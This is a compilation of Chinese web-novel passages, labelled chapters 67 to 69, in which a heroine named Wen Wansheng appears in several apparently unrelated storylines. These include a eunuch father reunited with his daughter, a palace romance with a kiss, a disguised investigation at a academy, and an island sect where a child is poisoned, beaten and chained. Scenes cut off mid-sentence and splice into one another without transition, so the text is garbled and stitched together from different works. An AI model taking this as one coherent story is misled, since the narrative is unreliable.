而榻上的父女俩已重新说上话,看时序那微笑着聆听的样子,短时间内是不准备搭理他们了。 要说司礼监掌印脾气不好是真,待底下人却是有一说一,有什么不喜之处当场也就罚了,后头该怎样就怎样,从来没有什么当面和气背后使小鞋的。 正好时一时二在,时序便顺嘴说了一声:“他们两个与我也算有些关系,是我前几年认下的干儿子,跟了我的姓,排行一二,除他们两人外,还有另外四人,正在外面办差,等回来了我再叫他们来认人。” 温晚笙认真听着,想到曾在书里看过的内容,也将他们与书中描述对应上。 想到那本书,她又是心神一恍。 经过昨晚的大梦,许多东西她也有了自己的判断。 温晚笙已经不想再追究她到底是谁,前一世也好,这一世也罢,再没有比过好当下更重要的了。 上一世的她父母早亡,空有无数遗产,却自幼亲缘浅薄,加之她身子不好,一直住在国外庄园里,除了管家和女仆,很少见到外人。 就这么长到十几岁,她每天的生活又单一又无趣,每日最常做的就是坐在风车底下发呆,到后面连家庭教师都不愿见了。 有时她也会羡慕其他圆满幸福的家庭,甚至荒唐地雇人来扮演爸爸妈妈,但多次实践结果告诉她,真与假总归是不一样的。 既然之前过得也没那么好,焉知穿来书中是好是坏。 如今的她虽没了最爱的娘亲,可也找到了失散多年的亲爹,还有待她不知如何,但对阿爹忠心耿耿的兄长。 温晚笙歪着脑袋,咬唇思索着,等时序问询时,方迟疑道:“既是阿爹的干儿子,那我是不是该称兄长?应该是……” “大兄?二兄?” 过往种种如烟散,往后她只是温晚笙,是司礼监掌印的女儿。 儿。 时序将这两字在嘴里含了许久,想尝试着说出来,又莫名张不开口,捏了捏指尖,心头一片惆怅。 他心里只念着女儿,一心往外面走,多亏暗卫叫了一声,才想起来还有个杨元兴没处理。 时序想了想:“带去暗牢吧,每日记着给他紧紧皮子,等我空下来再说如何处置,还有城门那边,将他进城的记录销了,以及他这一路进出城门的宗卷,一律不留痕迹。” 交代完最后一句,他再也按耐不住心中的急迫,行色匆匆,一路奔着西厢的小阁楼,一进院子就问:“阿归现下如何了?” 管家被他留在这边,一直注意着这边的情况,第一时间禀明:“回大人,时姑娘一切都好,早晨醒来吃了东西,又被哄着在院里走了走,瞧着没有不舒服的样子,宫里的御医也说是大好了。” 听到这里,时序心头一松:“她还在这边?” “在呢在呢,时姑娘说要等您过来,一直没出过西厢。” 时序不免懊恼:“倒是我来迟了……差点忘了!” 他将行至门口时忽然转过身,负手面向管家,言语间多了一点说不清的骄傲:“吩咐下去,连着你们也是,以后不要称什么时姑娘了,阿归是我的女儿,你们合该叫她小主子。” “啊?小小小、小主子!” 时序才不管管家如何震惊,看也不看他一眼,抬脚进了屋里。 小阁楼里静悄悄的,一直快到里间才能听见一点细微的说话声,细听全是雪烟和云池在讲,好半天才能听见温晚笙的低声应和。 里间内,温晚笙抱膝坐在窗边的小榻上,耳边围绕着雪烟和云池的逗笑声,她努力集中注意力去听,却总忍不住往窗外看,一走神就是好久。 她再一次从走神中恢复过来,终问了一句:“雪烟姐姐,阿爹什么时候才能来呀,我等他好久好久了……” “这——”雪烟为难,求助的目光投向云池。 正当云池思索着如何回答时,却见一道熟悉的身影从屏风后转过来,时序和温晚笙的声音同时响起。 “阿归抱歉,是我来迟了……” “阿爹!” 温晚笙那双黯淡了许久的眸子瞬间亮了起来,她麻利地站起身,不等雪烟替她穿好鞋子,直接从小榻跳到地上,身边连着两三道惊呼。 温晚笙却顾不上这些,闷头冲向时序。 本以为这次又是要狠狠撞一下子,不成想时序主动张开双臂,弯下腰来,将她接了个满怀,又直接将她举高到胸口。 温晚笙搂住他的脖子,眉眼弯弯,又脆生生喊了一声:“阿爹!” 话音才落,就见时序笑得眼睛都快眯成一条缝了,若不是他双手抱着温晚笙,怕早就手足无措。 他嘴唇颤了颤,强压下鼻头的酸涩,大声应道:“哎!爹的乖闺女!” 从见面到现在,温晚笙叫了他好多遍,可真正得到答应了,只有这一回。 时序正琢磨着说些什么,一低头,却见温晚笙眼眶红了一圈。 温晚笙抽了抽鼻子,泪水当即落了下来。 时序一下子就慌了:“闺、闺女?怎么了,是谁叫咱们阿归不高兴了?阿归别哭,你说出来,阿爹去帮你教训他!”说着,他作势就要出去寻找罪魁祸首。 哪知温晚笙低下头来,在他肩上蹭了蹭眼睛,闷声道:“才没有别人,是阿爹叫我不高兴了,阿爹说好要来看我,我等了好久都没见到阿爹……” “哎——”时序面上讪讪,辩解不得,只能虚心道歉,“是我错了,是阿爹不好,净叫咱们阿归伤心,不然、不然……阿归你打我吧。” 他侧过脸来,抓着温晚笙的小手就要往自己脸上拍。 他的这番举动将温晚笙吓了一跳,下意识将手掌攥成一团,奋力往后躲着,好险没有真打到他。 时序憋着脸,说话都说不利索了:“不不、阿爹别——我不怪阿爹了,不能打阿爹!不能!” “好好好,不打不打。”时序见她情绪紧绷,也不敢勉强,只能顺着她道,“全听阿归的,阿归说什么就是什么。” “今日全是我不对,往后我一定遵守承诺,若再叫阿归伤心,那就罚我一整天不被你搭理好吗?” 温晚笙想了想,定定点了两下头,而后又诚实道:“那好吧……不过我可能先忍不住跟阿爹讲话了。” 那人终于回过头,清隽的眉眼间,是她从未见过的急迫。 温晚笙激动得不行,蹦蹦跳跳地冲着他挥了挥手。 谢衡之眸光骤顿。 少女穿着一身洗得发白的粗布麻衣,梳着一条简单的麻花辫垂在肩侧。 正冲着他笑。 那一瞬,他忘了‘发于情,止乎礼’的规训,也忘记了自己身处于熙攘的大街。 他几步上前,穿过人潮,将她揽入怀中。 第 67 章 第 67 章 当那股清冷的檀木香倏然将她笼罩时,温晚笙几乎以为自己认错了人。 除非是像那日落水般事急从权,否则谢衡之绝不可能做出这么逾越礼数的举动。 可是现在,谢衡之一言不发,她也僵着,不敢轻易动弹 不知过了多久,温晚笙试探性地抬起手。 “先先生?”她的指尖在半空停顿了一瞬,轻轻落在青年精瘦紧绷的脊背上。 她莫名感觉,他需要安慰。 丧气人丧气事稍微提一嘴就好,无需在上面投入太多注意力。 瞧着温晚笙蔫哒哒不愿提及的模样,时序暗自懊恼,赶紧转移话题,去说些能逗小姑娘高兴的事情。 不知说到哪里,时序神情一顿,有些迟疑道:“说起来京城有许多蒙学,民间的官家的都有,阿归马上就要六岁了,可有念书识字的打算?” “念书?”温晚笙有了精神。 时序摸了摸她的脑袋:“正是,依我之见,多看点书总是没有坏处的。” 暂不说他前半生经历的诸多变故,时序的前二十年里,确是一直与书本为伴的,知识带给他很多东西,或是衙门免去的田税,或是圣贤的大道理大感悟。 正因他自幼饱读圣贤,才有了更开阔的眼界,才能顺利娶到心爱的女孩。 哪怕时序嘴上不说,但他在很长一段时间里,都是将念书科举视作光耀门楣的唯一途径。 在好多偏僻贫穷的村子里,一家人好几代攒下的一点钱,最多只能供一个孩子念书,这个孩子不管争不争气,必然是男孩。 然哪怕这男孩认得了几个大字,也很少会有传授给家中兄弟姐妹的。 至于说什么叫女孩子念书? 就算是在时序的家里,他的爹娘也没想过让女儿识字,有时看见他用树枝教姐妹们在地上写写画画,还要出言阻止埋怨几句。 说白了,无非是觉得女子念书无用罢了。 然而这种观念到了大城市却越发浅薄,尤其是到了京城,在启蒙一道上,男女之间已经看不出多少差别,家中稍微有些积蓄的,总要送孩子去识识字。 男孩识得字后,能科举能经商,再不济了还能做个记账先生。 女孩若识得字,不说嫁人时的底气,就说平时的好处也是多多,单讲那最大的,就是能去京郊的官坊里做工,不光能有个给朝廷当差的好名声,每月还能领到至少三钱的月银,可比好多做苦力的男人强多了。 京郊官坊建于十年前,由皇家出面开办,司礼监督查运作,上至兵甲锻造,下至种植纺织,涉及领域繁多,所需工人也是逐年增多,其中女工占比尤重。 官坊初建那几年是不挑工人的,只要来应聘的都能选上,工钱很低,做出的东西也不出彩,无功无过,几乎起不到什么作用。 自新帝登基,时序掌管司礼监后,官坊招进一大批匠人,短短一年间,先是造出威力巨大的炮弩,又是发现了产量奇高的番薯,其余部分也先后取得成就。 官坊大放异彩,工人月银倍增,招聘的条件也一点点提高上来。 发展到现在,识字已经是最低的门槛了。 这还只是普通百姓中的变化。 换做勋贵之后、官员之女,女子嫁人前后是要帮着管家的,既要管家,自然不能大字不识一个,且家里也不缺那点请西席的银子,何必区别对待。 一年又一年,民间蒙学越来越多,官学也出现改革。 如今无论官民,都不再避讳招收女童,男女一同授课,八岁之前不分席,八岁之后才分东西院,等年满十三到了相看的年纪,才会有专门的女学。 时序虽不需要温晚笙去官坊做事,但诚如他言,识字念书总不是坏事。 他问:“阿归之前可有学过字?” 温晚笙点了点头,又轻轻摇了摇头:“娘亲只教过我一点,我会写自己的名字,还会写阿爹和娘亲的名字,旁的就不会了。” “娘亲每天都很忙,总是有做不完的活儿,我好笨的,一个字要学好久才能学会,我不想叫娘亲生气,后面就闹着不肯学了。” 杨二丫带着女儿寄居在杨家,素日操劳,便是有心教养女儿,也心有余而力不足,更别说她认得的那几个字都是从丈夫那里学来的,统共也不超百数。 温晚笙不排斥念书,却也有点担心:“若阿爹想叫我念书,我也可以的,只是我若念书了,还能每天见到阿爹吗?” 她对京城的蒙学了解不多,勉强只能和上一世的幼儿园联系上,一边想和同龄的小孩认识,一边又怕住在蒙学回不了家。 这些担心和期待,她在脸上表现得明明白白,只消时序简单一问,就一字不落地说出来,最后一把抱住对方:“若要跟阿爹分开,那我就不要念书了。” 听到这,时序脸上的笑意愈发深邃。 “当然不会分开了,蒙学只白天上课,早晚都是要回家的。” “阿爹跟你保证,不管你去哪家学堂,早晚我都会接送阿归,这样总行了吧?” “可以!”温晚笙高兴得跳起来,拽着时序的手左右晃个不停,不等事情定下来,先是盘算着,“那我每天至少能和阿爹见两次,再加上吃早膳晚膳的时候,那就更长了!我要去念书,我喜欢念书的!” 时序道:“那好,那我们便说好了。” “临近年关,京中的蒙学都放了冬假,要等到二月才复学,阿归若是不排斥,那等年后复学了,我带阿归去看看,一个是官学,另有三四家比较有名的民学,我们都去瞧瞧,然后你再选去哪里,可好?” 若只从师资来看,官学一直是翰林院派讲师,无论是声望还是才学,都远超民间组织的学堂。 时序则考虑到,官学都是勋贵子弟,更有皇子皇女,娇生惯养,性情也骄纵。 他虽不怕这些人和他们背后的家族,但他也怕哪里疏忽了,等温晚笙受了委屈,就算后面找补回来,前面的难过总不能消除。 综合考量后,他选择将决定权交给温晚笙。 等日后到几家蒙学看过,温晚笙想去哪里,那就去哪里。 温晚笙连连点头:“都听阿爹的。”听着温晚笙那话,活像是怕时序在杨家人面前吃亏。 然时序是什么人,作为看过整本书的温晚笙再是清楚不过了。 莫说只是一些蛮横无礼的乡野村夫,就算再怎么穷凶极恶之徒,在那声名狼藉的司礼监掌印面前,也是不过尔尔。 可不知怎的,温晚笙就是不想阿爹跟他们讲话。 既不想叫阿爹受到一些莫名其妙的指责投靠,也不想被阿爹知道她和娘亲这些年的狼狈,还有这一大家子姓杨的,最好永远与他们没有干系。 温晚笙重新趴回时序的肩头,半晌方闷声应了一句。 他们一行人离着杨家还有一定距离,两人说话声音也没有太大,这就叫旁人能知晓他们在说话,却没办法听清到底说了什么。 杨中兴还想着给时序套近乎,无端被温晚笙打断,脸上闪过一丝不悦,但他转念又想到,还要靠给温晚笙母女的恩情来讨好处,暂时忍耐也不是不行。 这般想着,他面上又重新挂上谄媚的笑:“姐夫——” 万不想他连声喊了好几回,不光没能得到时序的答应,就连对方的眼神也没能分到半分。 只见时序微微低着头,满眼都是窝在怀里的小女儿。 他一向是有诺必守的,何况还是短短数日就成为他心中最重要的亲闺女的话,更是不愿有分毫违背。 甚至他只要一想到刚才从杨七美口中听到的谩骂,眼底杀意几乎控制不住,全靠一点理智压制着,且等无人了再慢慢处置。 两人约定好后,便将蒙学一事暂且放在一边。 时序想起刚刚谈及的旧事,面容多了几分哀色。 他的掌心习惯性在温晚笙背后摩挲着,思虑良久:“阿归……” 温晚笙望过来,眼巴巴瞅着他。 时序道:“我想,你娘孤零零躺在山上,不如我们去接她回家吧。” 提起逝去的娘亲,温晚笙的眼泪又不受控制了,不过低头抬头间,竟又是哭成个泪人,眼泪无声往下嘀嗒着,直叫人心口一揪一揪的。 温晚笙抽噎不止,脑袋却是一点一点个不停:“要、要的,要接娘亲回家,娘亲一定很冷很孤单……呜我好想娘亲啊——” 那个她并没有真正相处过、只在梦里寥寥看过几年的女人,偏莫名能牵动她的心神,这还不等真正见到对方坟墓,只浅浅听了一耳朵,她就难过得不行。 “阿爹,我们什么时候去?能不能、能不能现在就走……娘亲定是等不及了,我已经跟娘亲分开好久,娘亲好想我的。” “我想叫娘亲看看,我找到阿爹了,阿爹也回来了……” 温晚笙断断续续说着,若非被时序撑着半边身子,她怕不是能哭晕过去。 任何时候,时序都有无数语言和方法哄女儿不哭,唯在此刻,他只觉所有言语都无比苍白,毕竟—— 连他自己都眼睛酸胀,喉咙堵塞,如何能让一个失去娘亲的孩子控制住情绪? 最后他只能重重点头:“好,都听阿归的,我们马上就回去,很快。” 临近年关,正是事务繁多的时候。 无论是宫中宴飨的操持,还是皇帝身边公务的处理,又或者只是司礼监涉及到的方方面面,都少不了时序这个掌印的坐镇。 谁也没想到,他会在这种时候突然远行。 更叫人难以想象的是,在这万事皆忙之际,皇帝竟真的答应了时序的请假。 直到时序带着女儿离开三五日后,京中才渐渐掀起一阵流言—— 听说,司礼监掌印是带着一个女童走的。 还听说,那女童管掌印叫阿爹。 “不用送了。”温晚笙迫不及待地说。 谢衡之微微颔首,“早些安歇。” 温晚笙应了一声。 裴怀璟在一边沉默着。 却在少女离开之际,蓦地伸手,拉住她的衣袖。 他湿漉漉的眼睫低垂,看起来像一只被人遗弃的小狗。 “二小姐,可否收留我一夜?” 第 68 章 第 68 章 月光如冷霜,将三人的影子重重交叠,缠成一团理不清的乱麻。 温晚笙眼角一挑,瞟了眼谢衡之,才不动声色地把那勾住自己衣袖的手甩开。 “我收留不了你。”她嗓子有点哑,表情倒是淡定,“你回你自己家吧。” 都说了不要在先生面前早恋。 裴怀璟悬空的手指僵了一瞬,极慢地收拢。月光照在他手背的皮肤上,底下淡青色的筋脉隐隐跳得更快了些。 “我没有家。” 他低哑的声音飘过来,带着一丝恍惚的自嘲。 温晚笙眼瞳轻颤,忽然意识到了自己话中的不妥。 她潜意识里,把皇宫当作了他的家。 但他从小被送入楚国为质,千里之外的郦国,才是他的家。 她解释:“那是令韫拜托我帮她查的,不信你可以问她。” 他语气低柔道:“原来如此。以前温七姑娘你和令韫就要好,她喜欢什么,你也会跟着喜欢什么,我以为这次也一样。” 远处的传来阵阵骑马欢笑声,衬得他们此处格外安静,纵使裴怀璟正在说话,声音也不大。 不管对面发出什么声音,温晚笙都专注听着他说。 裴怀璟由着马凑过来蹭他:“瞧我糊涂了,人与物件终究是不一样的,断不可相提并论。” 温晚笙知道裴怀璟并不是有多疼爱裴馨宁这个妹妹,他亲情感知薄弱,只是觉得他们裴家人绝不能让人欺辱、当棋子那样肆意利用。 他兴许还觉得裴馨宁太愚蠢,被她耍得团团转。 “裴大人说的是,人与物件终究是不一样的,断不可相提并论。”温晚笙看了裴怀璟半晌,忽道,“裴大人,你扶我上马吧。” “我扶你上马?” 她眼含期望:“我总是上不去,时间全耗在上马这步了,可我今天想先试试坐在马背上的感觉,不想连马都没上去就回去了。” “那就冒犯了。”裴怀璟走近温晚笙,牵过缰绳,让她踩马镫,“你踩它,我再托你上去。” 温晚笙想照他说的做,可他一靠近她,她就忍不住看他的腰。 距离近,适合抱。 抱还是不抱?抱,以什么理由抱?温晚笙才不想用“我心悦你已久了”的破借口,他当真了怎么办。不抱,那任务怎么办? 裴怀璟目不斜视,提醒道:“温七姑娘,你分心了。” 她讪讪地收回目光:“抱歉,我不是故意的,刚看到有只蝴蝶飞到你腰上,就多看了一眼。” “蝴蝶在何处?”听了她的话,他又一次看向自己的腰。 温晚笙松开缰绳,做了个扇动翅膀飞走的动作,声情并茂模仿不存在的蝴蝶:“它刷的一声飞走了,蝴蝶很好看,蓝色的。” 裴怀璟瞥过温晚笙还在动的手,似乎相信了:“真遗憾,我没能看到那只蓝色的蝴蝶。也罢,无缘不可强求,我还是先扶你上马。” 他托着她的腰,送她上马,温晚笙都没反应过来。 马上的所观所听与平地的截然不同,入目芳草萋萋,风声灌耳,令人油然而生一种我俯瞰天地,于草原中无拘无束奔腾的错觉。 温晚笙深呼一口气,小心翼翼驱马往前走了几步,裴怀璟负手而立,没跟着她走,渐渐落在后面。 马也很温顺,安安分分被她骑着绕马场走了圈。 等骑回原位,温晚笙一下马便朝裴怀璟跑去,想扮作第一次骑马太兴奋,跑起来时刹不住脚,撞入他怀里,趁机抱人。 最重要的是失败的代价比从马上掉下来的要轻。 她也是死马当活马医了。 一开始裴怀璟并未躲开,温晚笙看着觉得有希望,这才没停下来。直到她快跑到他面前时,裴怀璟既不拉住她,也没阻止她,而是侧过了身。 温晚笙就这么冲过头了,然后被草绊倒,圆润地滚进草堆里。 “姑娘这叫随便看看?我看您都恨不得插翅飞进去了,等心上人?”老板笑着摇摇头,没信她。 陶朱虽不知温晚笙为何要打听傅迟这个人,却还是陪着她演。 文初书院坐落于角街的尽头,远离闹市,抱厦上悬有写着“文初书院”四字的匾额。里面分为前堂和后院,后院有十几间房舍。 温晚笙和他们在前堂坐着。 有学子说:“我道傅兄以前怎么总是随身带一张绣着桃花的帕子,还宝贝得不行,谁也不给碰,如今想来,应该是姑娘送的吧。” 另一个学子道:“不仅如此,我常常看见他到城门外的桃花树下,拿着书一坐就是一整天。” 温晚笙默默记下这件事。 不知是谁感叹道:“傅兄是我们当中最勤奋的,起最早,睡最晚,瞧着便是日后大有出息的人,可怎么就突然失踪了呢。” “姑娘,你放心,我们早已报官,一有消息会通知你的。” 温晚笙陷入沉思,傅迟失踪的时间不短了,官府迟迟没消息,这或许就是那个迫切想知道他下落的人找上书斋做交易的原因。 一切进展得十分顺利,直到裴怀璟的出现,以一己之力打破了“尽在温晚笙掌握中”的局面。 他不知为何也在查傅迟。 温晚笙想溜没溜成功,锦衣卫将她们团团围住了。 书院学子畏惧锦衣卫,就算裴怀璟看起来温和有礼,也不妨碍他们敬而远之:“钱姑娘,我们忽然想起还有些事,先走一步了。” 他们立刻作鸟兽散了,留下温晚笙和陶朱面对他。 陶朱暗暗扯温晚笙衣袖,用眼神问她怎么办,裴怀璟认识她们两个,被他识破身份该如何是好。 温晚笙压低声音:“淡定点,他不一定能识破我们的身份。你待会不要出声,他问,我来答。” 事已至此,即使陶朱惶恐,也只能强装镇定了。 裴怀璟走过来坐在了温晚笙对面,他们中间隔着一张石桌,头顶是一棵的槲树,风吹过会叶子碰撞摩擦,簌簌的声音砸到她心口上。 温晚笙不是不担心被发现身份,她也紧张,可不能自乱阵脚。 “你是傅迟未过门的妻子?”裴怀璟注视温晚笙双眼,放在桌上的手微动,移眼看她身侧的陶朱,视线又慢慢回归到温晚笙双眼。 他听眼线说傅迟的未婚妻来了文初书院,于是来见她。 温晚笙佯装柔弱,夹着嗓音:“没错。官爷,他到底出了什么事?都有一年没写信回去了。”他穿着飞鱼服,喊他一声官爷没错。 这次,是他恳求她的信任。 温晚笙指尖一紧,恍惚有种他在说真话的错觉。 但没有。 还是没有任何好感恢复的提示音。 面对她的沉默,裴怀璟潋滟的水色从眼中绽开。 “若是二小姐要择婿。”他缓步向她走近,声音很轻,“选我,可好?” 她绝不能同旁人成婚。 这是他唯一,也是最后的机会。 他不能再等了。 霞光如丝,穿透薄雾落到听铃院窗前。门窗紧闭的房间还是一片昏暗,床榻旁垂落层层青紫色纱幔,帐中更是犹如黑夜。 纱幔遮挡视线,外间只能隐约听见里间传出轻微的翻身声。 陶朱推门进来,先是隔着纱幔看了眼里间,再轻手轻脚推开窗。阳光照入,房内霎时亮了一个度,却还不足以刺到帐中人双目。 昨夜温晚笙很晚才卧榻歇息,陶朱不想吵醒她,怕房间闷热,所以进来打开朝阳的那扇窗。 正当陶朱要退出去时,帐内忽探出一只手,像要抓住什么。 不等陶朱过去看,纱幔被人从里面掀开。温晚笙伸出大半个身子,喘着气看她:“陶朱?” 陶朱心细如发,见温晚笙额间冒出几滴汗,眉头微皱,呼吸不顺,料想她这是被梦魇着了,遂快步过去拉起纱幔:“做噩梦了?” 温晚笙坐在床边叹气,揉了下太阳穴:“嗯,做了个噩梦。” “梦与现实都是相反的,七姑娘不必放心上。”陶朱替温晚笙擦去汗,又唤别的丫鬟到外间端来水,浸湿帕子给她细细洁面。 阳光愈发明亮,温晚笙往窗外看,被刺得眯了眯眼:“你是不知道,这个梦到底有多可怕,我的铺子全没了,钱也被人抢走了。” 陶朱哭笑不得,她刚刚探出手想抓住的是铺子和银钱? 说实话,陶朱一开始并不看好温晚笙说的生意,也不明白她为什么扔下“饭来张口,衣来伸手”的生活不过,非得早出晚归打拼生意,累坏身子。 至今陶朱仍然无法理解。 今天发现温晚笙对那些生意不是一般的看重,她把它们当成命根子了,白天想着,梦里也想着。陶朱想劝她收心的念头再起。 陶朱语重心长道:“终身大事才是女子的头等大事,奴觉得您不该本末倒置。何况商户不受人待见,您这样对您的名声不好。” 温晚笙不在乎:“管他们待不待见呢,我凭自己双手赚钱。” “话虽如此,但闲言碎语终究是会影响到您,女子出外也不安全。七姑娘勿怪奴多嘴,奴是真心望您好。”陶朱放好帕子。 她思索一会:“陶朱,我不想像八妹妹那样被人看似精挑细选,实际随意地许配出去,往后余生,困在一方宅院里相夫教子。” “您和八姑娘不同,您是嫡,她是庶……” 温晚笙从枕下取出睡觉前摘下的金财神吊坠挂脖颈:“在我眼里并无不同,若什么也不做,只依着温家生存,下场都一样。” 书里她的结局令人唏嘘,屡次挑拨男女主间的关系后无果,死性不改,落得身败名裂,还是逃不过被温三爷许配给男子的命运。 那时温晚笙众叛亲离,也是求助无门,孤立无援。 温三爷永远以自己的名声、利益为先,他是绝不能容忍温晚笙岁数大了也不出嫁,留在温家。 得知男子能在官场上帮扶温家,他二话不说答应这桩婚事。 男子在京城中略有权势地位,温三爷见温晚笙攀附世安侯府世子不成,反而把人给得罪了,怕她以后嫁不出去,匆匆选了他。 可温晚笙心高气傲,岂能接受家世背景逊于世安侯府世子,还对五石散上瘾的男子,宁愿自戕,也不愿出嫁,死在了成婚前一日。 温晚笙弯腰穿鞋,不用陶朱帮忙,站起来后拍了拍她肩膀:“我知道你是真心为我好,但这也是我的真心话,你就信我一次嘛。” 后一句有点像在向她撒娇,陶朱受不住,缄口无言。 温晚笙赶着完成还剩两天时限的生意,以飞快的速度洗漱,塞了几个包子垫肚子便跑出去,在大门撞见上完朝回来的温三爷。 温三爷黑着张脸,对她疾言厉色:“瞧你这样冒冒失失的,没半点女儿家的样子,叫人看见了成何体统,有辱我们温家门风。” 有一瞬间,温晚笙都想怼他女儿家该是什么样子? 陶朱惯会察言观色,扯谎道:“三爷。裴三姑娘今日与姑娘有约,眼看着时辰快到了,怕裴三姑娘久等,姑娘才急着跑起来。” 温三爷得知裴馨宁在等温晚笙,咽下到嘴边的训斥:“那还不快去?” 温晚笙赶紧走人。 乔装打扮一番后,温晚笙携着陶朱以千里迢迢来京城寻人的傅迟未婚妻身份去了文初书院。只是她留了一手,和陶朱一起用薄纱遮脸。 在京城行事得小心为上,免得遇到见过的人,被识破身份。 不过温晚笙露出来上半张脸的美人尖尤其清晰,一双眼睛看人时有神,眼尾纤长薄红,撑起薄纱的鼻梁高挺,一看便知容貌不俗。 书院学子见温晚笙这般气质,哪里会怀疑她故意冒充傅迟未婚妻,又不是吃饱了吃撑的,乱来败坏自己的名声,没半点好处。 温晚笙表现得情真意切,三言两语就获得了他们的信任。 他们既羡慕傅迟有这么一个未婚妻,又可怜她千里迢迢来京,对温晚笙是知无不言,言无不尽。 “选你?”温晚笙终于正眼看他,眼底无笑,“你有什么优势吗?” 她漫不经心地翻了翻册子,毫不吝啬地评点,“这个帅,这个高,这个强壮” 话说一半,下巴被带着凉意的手托住。 她仰起脸,咫尺之间,是他骤然放大的容颜。 那双桃花眼沾着水汽,黑沉得浓郁,似要将她拉进深渊。 她顿了顿,没好气地拍开他的手,“你干嘛?” 蔷薇花瓣被风卷着,在他们头顶纷纷扬扬,像一场绯色的雪。 “二小姐心里有我。” “呵呵,我现在不” 话未说完,她瞪大双眸。 唇瓣被人轻轻含住。 第 69 章 第 69 章 说含。 是真的在含。 她的下唇被他两片温软的唇瓣,不轻不重地含在齿间。 她还不及反应,就被他就这样含着,从冰凉的石凳上带了起来。 他们紧紧贴着,几乎没有一丝缝隙。 她能感到腰际和后颈,同时被他的手紧紧托住,固定在他怀里。 这场比试毫无悬念。 温晚笙看向羽落清,似笑非笑道:“你输了。” 羽落清眼里泛起了泪花,哽咽道:“这不公平,若不是你出手” 温晚笙仍是似笑非笑的模样,一双幽幽紫眸中淬满了毫不掩饰的恶意:“弱者总是会给自己找理由,别忘了,你还没行过拜师礼,算不上碧海潮生的到弟子,无论是赢是输,你都没有资格进入丹心阁。” 羽落清的眼眶通红,眼泪又一滴滴的落了下来,梨花带雨的说道:“我初来碧海潮生,不知哪里得罪了你,你先是逼得师尊取消了我的拜师礼,现在又这样咄咄逼人,我到底做错了什么?” 温晚笙微微一笑:“看你就讨厌,不行吗?” 她辛辣而直白的话语让羽落清一噎,嘴唇嗫嚅了半天,却愣是不知道该说些什么。 柳飞叶眉头一皱,他见不得羽朝的公主受委屈,刚要飞身下去,衣袖却被阳无尘拽住。 阳无尘抚着胡须嘿嘿一笑,“敢惹小太岁,不想活啦?” 柳飞叶怒声说道:“碧海潮生的主人是岛主,还轮不到她一个小辈在这里横行霸道,我今天就要替岛主管教她一番!” 阳无尘竖起一根手指,指了指上面,无奈叹息。 “飞叶啊飞叶,岛主都没说什么,你拿什么管教她?”他的手一如既往地凉,激得她一颤,下意识往前躲,就像是在迎合。 少年似乎察觉到了她细小的反应,呼吸轻了一瞬,随即,手指缓缓插入她乌黑的发间。 他们贴得更近了。 她一天天长大,认为最令她痛苦的,是这个世界里过于贫穷的生活,以及这户人家那重男轻女的行为。 比如家里有有两个鸡蛋,一定是便宜爹一个,便宜哥一个,家里的三位女性——妈妈姐姐和温晚笙都没有鸡蛋吃。 而且贫民人家的孩子是没有鞋穿的,五岁那年,温晚笙不喜欢光脚走路,她想要一双鞋。 这户人家实在太穷,面容愁苦的母亲只能给温晚笙编了一双草鞋,五岁的小女孩脚嫩嫩的,脚上总是会被草鞋磨出大大小小的血泡,都快让温晚笙疼死了。 异世界里的母亲穿着灰扑扑的衣裳在一旁叹气,她头上戴着灰色的布巾,因为长期勤苦劳作,面容也像蒙了一层灰似的,身上还透着一股说不上的土腥味和厨房的烟火味。 她粗糙的手指拿着一根针在烛火里烤了一会,慢慢把温晚笙脚上的血泡挑破。 她絮絮叨叨地嘟囔:“光着脚就行了,穿什么鞋嘛。” 那次的逃走自然是没有成功的,否则温晚笙现在也不会还在这个岛上。 她是被月扶疏亲手捉住的,然后被月扶疏亲手打断了两条腿。 双腿愈合之后她又尝试了第二次,那次逃亡坚持了三个月,又被月扶疏亲手抓住。 这一次月扶疏没有打断她的腿,而是用锁链穿透她的脚踝,把她锁在仙居殿整整半年。 那年温晚笙十五岁。阳无尘去过药童的房间,那些女孩们睡觉的房间是没有光的,一个很大的房间,木床摆成一排,上面铺着白色的粗麻被褥,每个木床之间还有个木头架子,摆着女孩们的换洗衣物。 地宫有天窗,那是唯一有光的地方,阳无尘经常看见温晚笙和其他女孩们一起坐在天窗下面等日出。 日头出来的时候,透过天窗洒在暗室里的光便有了形状,金色的光束犹如一道金色瀑布,从九天之上垂落下来。 羽朝公主中了奇毒,羽朝皇室求到了碧海潮生这里,碧海潮生的主人答应了。 大约是这种毒入不了医仙月扶疏的法眼,所以这位医仙广袖一挥,把这活给了柳飞叶,柳飞叶是羽朝的人,自然为羽朝的小公主忙前忙后。 阳无尘那阵子也在地宫里,他脾性古怪,因为中过热毒,头发是诡异的橘红色,皮肤上布满了奇怪的橘红色和黑色纹路,这毒发的时候怕光,所以他就一直住在地宫里。 因为样貌不太好,其他试药的小女孩们都怕他,只有温晚笙有事没事经常溜到他放药书的屋子里转一转。 扎着羊角辫的小姑娘皮肤白的像幽灵,因为剧毒侵入肺腑,眼睛的颜色不知怎么也发生了变化,从一开始的浅琥珀色变成了剔透的紫色。 那双大大的眼睛像两颗紫葡萄,地宫的烛光映照在她的眼睛里,配上她与年纪极不相符的冷漠表情,看上去还有点渗人。 不是一个五岁小女孩应该有的表情。 当她赤/裸着一双鲜血淋漓的脚,忍着剧痛走到窗前时,她在窗前的梨花树下看到了一窝忙碌的蚂蚁,这些蚂蚁分工明确,正扛着一只虫子走向洞穴。 温晚笙愣了愣,忽然想起幼年那会她总爱掘蚂蚁窝。 她曾经把一座又一座的蚂蚁窝变成废墟,现在,她也变成一片废墟了。 因为弱小,所以就能被轻易毁灭。 十年前射出的那枚子弹,此刻正中她的眉心。 她每次都要这么唠叨,后来温晚笙就自己挑血泡了,再涂一层不知道用什么药草做的药膏。 久而久之,温晚笙也烦了,就把那双磨脚的草鞋扔到一边,也学着其他孩子赤脚走路。 就在这一年,在扔掉草鞋那一刻,温晚笙学会了认命。 就和投胎一样,这次穿书也没穿成人上人,那能怎么办啊,自己没那胆量和骨气,没法一刀抹了脖子再去投胎。 只能这么很不痛快的活着,看着便宜爹和便宜哥碗里的鸡蛋流口水,有一次忍不住偷吃,还被便宜爹扇了一耳光,打得温晚笙眼冒金星,鼻血流了一上午,把前襟都染红了。 去河边洗鼻子的时候,河面很平静,就像一面大镜子似的,温晚笙蹲在岸边照了一会。 平静的河面倒映出一个枯瘦的女童,眼白泛着黄色,这是严重营养不良的象征。 蔷薇的香气在空气中发酵般浓了起来,甜意黏稠,丝丝缕缕,缠绕着他们的呼吸。 温晚笙不自觉地闭上眼。 他怪笑了几声:“小太岁,看得懂是一回事,亲自动手治病又是另一回事,杀人容易医人难。” 